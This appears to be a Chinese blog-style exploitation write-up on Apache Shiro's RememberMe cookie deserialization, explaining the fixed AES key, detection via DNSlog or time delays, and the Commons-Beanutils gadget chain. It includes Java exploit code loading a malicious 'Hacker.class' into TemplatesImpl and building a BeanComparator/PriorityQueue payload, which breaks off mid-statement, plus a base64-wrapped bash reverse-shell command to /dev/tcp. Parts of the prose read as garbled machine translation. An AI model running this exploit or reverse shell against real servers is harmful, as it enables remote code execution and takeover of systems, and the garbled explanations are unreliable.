Apache shiro 反序列化及利用链
时间:2022-11-16 16:30:00
convertBytestoPrincipals 解密 --> 反序列化
decrypt 解密 函数需要通过key 解密
密钥值是固定的
触发反序列化过程:读取cookie -> base64解码 -> AES解密 -> 反序列化
DNS可出网使用dnslog进行攻击
结合Dnslog与URLDNS方法的前提是DNS能出网。所以在不出网的情况下需要找一个替代方案。结合SQL如果系统是盲注,可以考虑执行以下代码结合时间延迟来判断。linux系统,睡眠10s同理,可以考虑触发Java异常进入判断,如果系统返回相应的错误报告系统,或返回一般错误报告提示,说明当前key和gadget组合成功:结合CookieRememberMeManaer
shiro记住我(RememberMe)下次打开浏览器时,关闭浏览器的功能仍然可以保存身份信息,因此无需登录即可访问。
无赖调用链:
Commons-Beanutils 提供PropertyUtils getProperty 方法 用户可以调用任何东西javabean对象里的getter方法。
public class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge(){ return age; } public void setAge(int age){ this.age = age; } }
getter该方法采用链流程
PropertyUtils类的 getProperty()方法 --> 调用另一个反射对象getProperty()方法 --> PropertyUtilsBean类的getProperty()方法 --> 又调用了一个getNestedProperty()方法 -->
getSimpleProperty 方法 --> getReadMethod实现
CC3链:
TemplatesImpl类里调用getOutputProperties()方法 该方法已调用newTransformer()他的格式符合JavaBean如果我们对一个格式,TemplatesImpl对象调用此getOutputProperties()实际上可以执行代码的方法。这就找到了一个CB以下代码执行点,当o1是一个TemplatesImpl对 象,而property的值为outputProperties会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法触发代码执行
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class BeanTest { public static void main(String[] args) throws Exception{ Person person = new Person("Le1a",20); //System.out.println(PropertyUtils.getProperty(person,"age")); TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); PropertyUtils.getProperty(templates,"outputProperties"); } }
以上当getProperty 当属性可控时,可以执行任何代码,通过找到上层查看谁呼叫getProperty方法尝试控制属性值
利用链:
getProperty()找到了上层BeanComparator# compare() -> compare()调用了这个getProperty(),这是可控的 -> PriorityQueue#siftDownUsingComparator 调用了getProperty() ->PriorityQueue#siftDown() 调用了siftDownUsingComparator() ->heapify()调用了 siftDown() ->最后PriorityQueue#readObject()又调用了heapify(),并且对queue循环反序列化数组
问题:
Shiro中,它的commons-beanutils虽然包含了一部分commons-collections但不完整。这也导致正常使用。Shiro不需要依赖 commons-collections,然而,反序列化的使用需要依赖于commons-colletions。
既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
实现 java.util.Comparator 接口
实现 java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
找到一个CaseInsensitiveComparator,这个CaseInsensitiveComparator类java.lang.String类下的一个内部私有类,其实现了Comparator和Serializable,且位于Java的核心代码中.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue; public class CBAttck { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("D:\\Cc\\IntelliJ IDEA 2021.1\\Code\\out\\production\\Code\\ClassLoader\\Hacker.class")); byte[][] codes = {code};//恶意类 //CC3 TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes",codes); setFieldValue(obj, "_name", "aaaa"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //CB BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); final PriorityQueue
bash -c {echo,Base64编码}|{base64,-d}|{bash,-i}//Base64编码为bash -i >& /dev/tcp/IP/端口 0>&1 的base64编码